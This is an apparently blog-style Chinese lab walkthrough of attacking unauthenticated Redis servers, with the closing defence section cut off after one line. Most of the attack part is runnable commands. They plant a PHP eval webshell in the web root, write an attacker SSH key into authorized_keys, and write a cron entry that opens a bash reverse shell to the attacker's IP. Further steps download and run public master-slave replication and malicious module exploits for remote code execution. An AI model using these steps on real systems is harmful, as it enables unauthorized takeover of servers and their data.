危害
信息泄露
- 系统信息
- redis保存的信息
写文件GetShell
- 在Web目录中写入webshell
- 写入SSH公钥直接连接
- 写入计划任务(corntab)反弹shell
高级利用
| 攻击🐔 | 192.168.1.100 | Windows | 10 |
| 攻击🐔 | 192.168.1.100 | redis-cli | 3.0.501 |
| 受害🐔 | 192.168.1.105 | Ubuntu | 16.04 LTS |
| 受害🐔 | 192.168.1.105 | redis-server | 3.0.6 |
| 受害🐔 | 192.168.1.105 | Apache | 2.4.18 (Ubuntu) |
因为新版的 redis 默认绑定的地址为
127.0.0.1
,所以为了复现漏洞,我们手动将绑定端口改成0.0.0.0
sudo vim redis.conf
- 将
69
行的127.0.0.1
修改为0.0.0.0
- 启动redis必须使用 root 权限启动,否则
save
时会报错 ```关闭 redis 服务
sudo service redis-server stop打开 redis 服务
cd /usr/bin/ && sudo redis-server
## 信息泄露
### 数据泄露
**获取所有的key值** `keys *`<br />具体查看数据可以查看redis教程
> [http://www.runoob.com/redis/redis-tutorial.html](c7808cb779777e337efc33e7ea9c5ee8)
![get_keys](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990497284-9f5be607-545f-434d-a19b-4d1984bc7744.png)
### 系统信息泄露
`info` 命令<br />可以看到redis的版本、系统内核版本、配置文件路径等信息<br />![info](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990498072-c49c2a1f-cb28-4264-814c-510fd71799a6.png)
## 写文件GetShell
### 在Web目录中写入webshell
**前提条件**<br />已知网站目录的绝对路径,并且具有读写权限
#### 环境搭建
**启动apache服务器**
sudo service apache2 start
**查看apache服务器状态**
sudo service apache2 status
有一个 **running** 则说明在运行状态<br />![running](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990499192-e8a34571-870d-4cd7-a7a6-adb21459bf05.png)
#### getshell
- 写入shell
写入一个string内容
set shell “<?php @eval($_POST[‘shell’]);?>”
设置备份目录
config set dir /var/www/html/
设置备份文件名
config set dbfilename shell.php
保存文件到本地
save
![config](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990500555-c1d5ad76-7740-48a8-87c0-d3ae4ee69319.png)
- 菜刀连接
![Cknife](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990501333-9dfa0e43-c3a7-4d5b-9bcc-d7ca996bf986.png)
### 写入SSH公钥直接连接
- 本地生成公钥和私钥
- 将公钥写入到目标的`.ssh`文件夹
- ssh 连接
#### 在本地生成公钥和私钥
PS : 这里为了方便,我直接从受害🐔里面生成的公钥和私钥,然后再将他们剪切到攻击🐔
ssh-keygen -t rsa
![generate_ssh](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990502904-ed7091d3-fdfa-4378-9f28-ad4dcfdb668a.png)<br />![cat_key](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990503799-e8259769-ee81-43d1-bc4b-c4485c71e48b.png)
#### 将公钥写入文件中
备份文件目录设置为对应的 .ssh,部分为 /root/.ssh/
config set dir /home/lynn/.ssh/
config set dbfilename authorized_keys
保存key的时候加上两个\n
是为了避免和Redis里其他缓存数据混合
set key “\n\n\生成的公钥n\n”
save
![cat_key](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990505347-740edb24-7101-4f0a-8093-e8ec24e2f26c.png)
#### ssh 连接
ssh -i id_rsa lynn@192.168.1.105
![cat_key](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990506939-740d7a24-1199-4cc8-be5b-085ab181a3fd.png)<br />可以看到不需要输入密码直接连接
### 写入计划任务(corntab)反弹shell
#### 注意⚠️
**这里有一个很深的坑**,那就是<br />crontab反弹debain,ubuntu都不行,因为他们对计划任务的格式很严格,必须要执行
crontab -u root /var/spool/cron/crontabs/root
通过语法检查后,才能执行计划任务。<br />因为这个坑,用了整整一天的时间来研究这个<br />参考文章
> [http://www.freebuf.com/vuls/148758.html](42e0a7032fc8f2f503d95995a41a49a9)
主要是感谢下方的评论
---
#### 执行命令
和写入公钥一样,将文件保存到本地,备份文件名必须要和用户的名字一样,比如是 lsa 那么备份文件就是 lsa
set shell “\n\n/1 * /bin/bash -i>&/dev/tcp/192.168.1.100/1234 0>&1\n\n” config set dir /var/spool/cron/crontabs/ config set dbfilename root save
#### 攻击🐔开启监听
nc -lvp 1234
![nc_1](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990507714-17d0dc5f-0151-4d9f-87e7-4612647b2db2.png)
#### 等待 1 分钟
等待一分钟受害🐔即可执行任务,攻击🐔就可以收到shell<br />![nc_2](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990508495-7cab500f-a938-4934-9477-42540c840826.png)
## 前期总结
redis未授权访问总的来说危害还是挺大的<br />但是实际过程中还是会遇到很多很多的问题<br />比如
- redis数据量稍微大一点,写shell到文件之后,php因为文件太大是会拒绝执行的
- redis写入的时候就会覆盖passwd,而且passwd不能恢复
- debian,ubuntu 计划任务的限制很严格,写入成功是不能执行的
## 高级利用
### 主从复制Getshell
#### 介绍
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,**其中主机和从机数据相同,而从机只负责读,主机只负责写**,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。<br />主从复制,是指将一台Redis服务器的数据,复制到其他的Redis服务器。前者称为主节点(master),后者称为从节点(slave);**数据的复制是单向的,只能由主节点到从节点。**<br />默认情况下,每台Redis服务器都是主节点;且一个主节点可以有多个从节点(或没有从节点),但一个从节点只能有一个主节点。<br />**主从复制RCE主要原理就是:攻击机通过协议认证成为主节点,目标redis服务器为从节点,通过全量复制将文件内容输出到目标服务器上(也就是写入so文件)。然后加载.so文件,完成命令执行。**
#### 环境搭建
采用docker拉取redis进行一键式搭建
docker run -p 6378:6379 -d redis:latest
![docker启动成功](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990509971-f0e8bdf4-dd5d-4a9b-ab1b-ba4a3fa15945.png)
#### 漏洞利用
##### 下载Exp
git clone https://github.com/Ridter/redis-rce.git
##### 下载 `exp.so`
下载后放到 redis-rce 目录下
wget —no-chck-certificate https://github.com/n0b0dyCN/redis-rogue-server/raw/master/exp.so
##### 利用
此处可以通过 -p 去设置目标端口(默认6379)
python redis-rce.py -r <目标IP> -L <监听的公网IP> -P <监听的公网端口> -f exp.so
##### 成功截图
![image-20211103172253238](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990510975-91969bbf-6ac4-4fa4-a4e6-d50812e062f4.png)
#### 漏洞原理
`Pavel Toporkov`在2018年的`zeronights`会议上,分享了关于这个漏洞的详细原理。<br />PDF链接:[https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf](https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf)<br />![image-20211103173226945](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990514889-dc6bcc1b-c379-4954-8de0-fdec333638c0.png)<br />看了个大概,也不是完全懂,大概意思就是说,我们做主机,目标做从机,当两个Redis实例设置主从模式的时候,Redis的主机实例可以通过`FULLRESYNC`同步文件到从机上,然后在从机上加载so文件,我们就可以执行拓展的新命令了。
### 模块加载执行命令
#### 介绍
和主从复制差不多,都是加载一样的`so`文件,只不过这边是直接模块导入的方法<br />在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。<br />**主要过程还是通过某种手法上传`.so文件`,然后通过redis的`module命令`进行加载`.so文件`,然后进行系统命令执行,这里主要是讲解利用方式,我就不对.so文件原理进行一个讲解。**
#### 什么时候用
1. 实战中这种用法一般用在getshell后,上传.so文件进行一个命令执行;
1. 版本够,但是不能用主从复制rce的时候用,不能出网的时候用;
#### exp.so
下载后自己make编译即可
- [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand)
- [fork](https://github.com/1979139113/RedisModules-ExecuteCommand)
#### 复现
- 启动redis容器
docker run -it —rm -d -p 127.0.0.1:6379:6379 redis
- 查看版本,符合要求
![image-20211103215141222](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990517458-5c558d1e-319a-42c1-85ba-a41e2e1c5616.png)
- 下载远程的仓库进行编译
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand.git cd RedisModules-ExecuteCommand make
![image-20211103215159025](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990519007-fcd57536-1f6c-442b-945a-168a03005bb4.png)
- 把编译好的so文件放到redis的容器内
docker cp
```
- 加载so,执行命令
防护
从上面的利用也可以看的出来,防护主要针对以下几点: